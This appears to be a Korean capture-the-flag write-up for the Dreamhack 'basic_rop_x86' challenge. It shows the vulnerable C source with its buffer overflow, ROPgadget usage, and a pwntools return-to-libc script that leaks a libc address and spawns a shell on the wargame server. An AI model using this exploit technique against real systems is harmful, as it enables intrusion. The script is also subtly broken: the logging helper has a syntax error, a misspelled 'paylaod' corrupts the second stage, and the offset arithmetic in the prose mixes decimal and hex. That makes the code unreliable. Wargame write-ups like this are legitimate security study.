System Hacking/Dreamhack 풀이

basic_rop_x86(Bypass NX & ASLR)

박연준 2023. 7. 2. 00:56

basic_rop_x86(Bypass NX & ASLR)

문제 정보

이 문제는 서버에서 작동하고 있는 서비스(basic_rop_x86)의 바이너리와 소스 코드가 주어집니다.

Return Oriented Programming 공격 기법을 통해 셸을 획득한 후, “flag” 파일을 읽으세요.

“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.

플래그의 형식은 DH{…} 입니다.

Environment

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

문제 파일

  • libc.so.6
  • basic_rop_x86.c
  • basic_rop_x86

풀이

checksec툴을 이용해 보호 기법을 한 번 더 확인해 본 결과 canary 와 PIE는 적용되지 않고 NX가 활성화 되어 있었다.

 

 

basic_rop_x86.c 파일의 소스코드를 살펴본 결과 x64의 소스 코드와 똑같은 것을 알 수 있으며, read함수 부분에 버퍼 오버플로우가 발생한 것을 확인했다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);            // 오버플로우 발생
    write(1, buf, sizeof(buf));

    return 0;
}

system 함수가 바이너리 코드에 없기 때문에 rop 가젯을 이용하기 위해 gdb에서 plt 명령으로 바이너리 코드의 함수를 살펴보았다.

 

 

ROPgadget툴을 사용해 사용할 gadget을 찾아야 한다. pop만 들어있는 gadget을 뽑기 위해서 명령은 다음과 같다.

$ ROPgadget --binary ./basic_rop_x86 --re "pop ebp"

 

pop ebp인 가젯을 찾았고 puts 함수는 인자가 한 개이므로 이 가젯을 이용해 read 함수의 주소를 찾을 수 있을 것이다.

 

 

익스플로잇을 작성하기에 앞서 이 바이너리는 i386-32 를 사용하고 있으므로 함수 호출 규약이 cdecl이라는 것을 알 수 있다. 따라서 전에 x64에서 수행했던 함수 호출 규약과 다르게 매개변수 → 반환 주소값 → 지역 변수 순서로 쌓이는 스택 구조를 갖고 있기 때문에 함수의 plt → 코드 가젯 주소 → 인자들 순서로 적어주어야 한다. 또한 32bit 환경에서는 dummy값이 존재하기 때문에 40 + 4 + 4인 48을 임의 값을 넣어서 반환 주소를 설정 해주면 될 것이다.

 

 

다음 명령어를 이용해 libc.so.6 내에 존재하는 “/bin/sh” 문자열까지의 offset을 구할 수 있다.

 

32비트 환경에서, 라이브러리의 주소는 0xf7로 시작한다는 점을 활용하여 read 함수의 주소를 받아올 수 있다.

 

pwntools를 이용해 익스플로잇을 작성하면 다음과 같다.

from pwn import *               
p = remote("host3.dreamhack.games", 9781)
e = ELF("./basic_rop_x86")
libc = ELF("./libc.so.6")

def slog(name, addr):
	return success(": ".join[name, hex(addr)]))

read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_ebp = 0x0804868b
main = e.symbols['main']

payload = b"A"*0x48

payload += p32(puts_plt)
payload += p32(pop_ebp) + p32(read_got)

payload += p32(main)

p.send(payload)
                            
read = u32(p.recvuntil(b'\\xf7')[-4:])             
lb = read - libc.symbols["read"]                
system = lb + libc.symbols["system"]
binsh = lb + 0x15902b      
       
slog("read", read)                             
slog("libc_base", lb)                            
slog("system", system)
slog("binsh", binsh)

paylaod = b"A"*0x48
payload += p32(system)
payload += p32(pop_ebp)
payload += p32(binsh)
p.send(payload)

p.interactive()                       

익스플로잇 수행 결과 다음과 같이 flag 값이 출력되는 것을 확인할 수 있다.

 

'System Hacking > Dreamhack 풀이' 카테고리의 다른 글

basic_rop_x64(Bypass NX & ASLR)  (0) 2023.07.02
rop(Bypass NX & ASLR)  (0) 2023.07.02
Return to Library(Bypass NX & ASLR)  (0) 2023.07.02
ssp_001(Stack Canary)  (0) 2023.07.02
Return to Shellcode(Stack Canary)  (0) 2023.07.02